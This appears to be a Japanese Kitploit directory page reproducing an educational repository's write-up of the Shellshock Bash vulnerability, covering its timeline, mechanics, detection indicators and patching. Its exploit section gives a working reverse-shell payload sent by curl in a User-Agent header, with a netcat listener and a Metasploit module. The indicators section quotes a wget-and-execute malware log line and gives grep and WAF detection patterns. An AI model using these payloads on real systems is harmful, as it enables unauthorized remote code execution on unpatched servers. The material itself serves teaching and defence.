Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kaleth4/-cve-2014-6271
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Shellshock (CVE-2014-6271) 脆弱性に関する教育用リポジトリ。技術的分析、攻撃ベクトル、概念実証エクスプロイト、Bash環境変数インジェクションの軽減手順を含む。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Bash環境変数インジェクションによるリモートコード実行

CVE CVSS Type Bash Status

"Bashに何十年も隠れていた欠陥が、24時間足らずでインターネットの基盤を揺るがした。"


目次

  • Shellshockとは?
  • タイムライン
  • 影響を受けるシステム
  • 技術的説明
  • PoC — 概念実証
  • 攻撃ベクトル
  • 完全なエクスプロイト — リバースシェル
  • 侵害の痕跡(IOC)
  • 緩和策
  • 免責事項

❓ Shellshockとは?

Shellshock(別名 Bashdoor)は、GNU Bash インタプリタにおける一連の重大な脆弱性であり、リモートの攻撃者が対象システム上で任意のコマンドを実行することを可能にします。

根本的なバグ:Bashは環境変数の解析を、関数定義の終了時に停止しなかった。() { :; }; の後に連結されたコードは自動的に実行されました。

root@kitploit:~
環境変数 → 関数定義 → [ここで余分なコードを実行] ← バグ

Webサーバ(CGI/Apache)、SSHサービス、DHCPクライアントは、ヘッダやパラメータをBashの環境変数に変換するため、攻撃対象範囲は計り知れませんでした。


📅 タイムライン

root@kitploit:~
2014年9月12日 ──── Stéphane Chazelas がバグを発見し、BashメンテナのChet Rameyに報告。
                 バグはBashに20年以上存在していた。

2014年9月24日 ──── 公開開示+パッチ公開(CVE-2014-6271)
                 数時間後:ボットネットがインターネットを大規模にスキャン。

2014年9月25~30日 ── 関連脆弱性が発見される:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

2014年10月 ──────── 数百万件の攻撃が記録。Heartbleedと同等の深刻さと評価。

💻 影響を受けるシステム


🔬 技術的説明

バグの仕組み

Bashが環境変数から関数をインポートする際、関数の閉じ括弧 } まで読み取ります。脆弱なバージョンでは、そこで停止せず後続のコードを引き続き処理していました。

root@kitploit:~
# 悪意ある環境変数:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# 脆弱なBashが初期化時に行う処理:
# 1. 関数定義を読み取る  → OK
# 2. }; を見つける → 停止すべき
# 3. 続行 → /bin/cat /etc/passwd を実行  ← バグ

CGI経由の攻撃フロー

root@kitploit:~
攻撃者                    Apache CGIサーバ              Bash (脆弱)
   │                               │                                │
   │  HTTPリクエスト                │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  ヘッダを環境変数に変換        │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ cmdを実行
   │                               │                                │ www-data権限で
   │◀──────────────────────────────│◀───────────────────────────────│
   │  レスポンス + cmdの出力       │                                │

🧪 PoC — 概念実証

基本的な脆弱性確認

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

脆弱なシステムの結果:

root@kitploit:~
VULNERABLE
this is a test

パッチ適用済みシステムの結果:

root@kitploit:~
this is a test

(または構文エラー。"VULNERABLE" は絶対に表示されない)


⚔️ 攻撃ベクトル

1. CGI-BIN(最も一般的)

.cgi スクリプトを使用するWebサーバは、HTTPヘッダをBashの環境変数に変換します。

root@kitploit:~
影響を受けるヘッダ: User-Agent, Referer, Cookie, X-Forwarded-For, カスタムヘッダ

2. ForceCommandを使用したSSH

root@kitploit:~
# サーバにForceCommandが設定されている場合、有効な鍵を持つ攻撃者はそれを迂回できる
ssh user@target '() { :;}; /bin/bash'

3. DHCPクライアント

悪意あるDHCPサーバが、DHCP応答を処理するBashを使用するクライアントに環境変数を注入する可能性があります。

4. 直接的な環境変数

root@kitploit:~
# 環境変数を継承し、Bashを実行するプロセス
env VAR='() { :;}; 悪意のあるコマンド' bash -c "正規のスクリプト"

💀 完全なエクスプロイト:リバースシェル

ステップ1:攻撃マシンで待受

root@kitploit:~
nc -lvnp 4444

ステップ2:リバースシェルのペイロード

root@kitploit:~
# User-Agentに注入するペイロード
() { :;}; /bin/bash -i >& /dev/tcp/攻撃者IP/4444 0>&1

ステップ3:悪意あるリクエストを送信

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://脆弱なサイト.com/cgi-bin/test.cgi

ステップ4:シェル獲得

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Metasploit モジュール

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ターゲット>
set TARGETURI /cgi-bin/test.cgi
set LHOST <自身のIP>
run

🔍 侵害の痕跡(IOC)

Apache/Nginxログ内

root@kitploit:~
# access.logで特徴的なパターンを検索
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# 悪意あるログの例:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

不審なプロセス

root@kitploit:~
# www-data/apacheの子プロセスで存在すべきでないもの
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

システム内の痕跡

root@kitploit:~
- /tmp, /var/tmp, /dev/shm に新しい実行可能ファイル
- Webサーバから未知のIPへの外部接続
- /etc/crontab または /etc/passwd の改変
- 端末なしでwww-dataとして動作するbashプロセス

🛡️ 緩和策

即時パッチ(最優先)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# パッチ済みバージョンの確認("patches" が表示されること)
bash --version
# GNU bash, version 4.3.30(1)-release → 脆弱
# GNU bash, version 4.3.33(1)-release → パッチ済み(ディストリビューションにより異なる)

パッチ後の確認

root@kitploit:~
# "this is a test" のみが出力されること。"VULNERABLE" は決して表示されない
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

追加対策

root@kitploit:~
# 1. 不要なCGIを無効化
a2dismod cgi

# 2. WAFルールでパターンをブロック
# ModSecurityの場合:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. 継続的なログ監視
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ 免責事項

このリポジトリは、教育目的、サイバーセキュリティ研究、および許可されたセキュリティ監査のためだけのものです。ここに記載された情報はすべて公開情報です。明示的な許可なくシステムに対してテストを行うことは、ほとんどの法域で違法です。著者は、この情報の不適切な使用について一切の責任を負いません。


発見者: Stéphane Chazelas · 公開日: 2014年9月24日

CVSSスコア: 10.0 (Critical) → その後CVSSv3で9.8に調整

ツールをダウンロード
製品影響を受けるバージョン状態
GNU Bash1.0.3 – 4.3パッチ済み
Linux (Debian/Ubuntu/CentOS/RHEL)2014年9月以前のバージョンパッチ済み
Apple macOS / OS X10.10 以前パッチ済み(Security Update 2014-005)
Bashを組み込んだIoTデバイス多数ベンダーにより異なる
Apache上のCGIを使用するWebサーバ脆弱なBashを搭載した全バージョンパッチ済み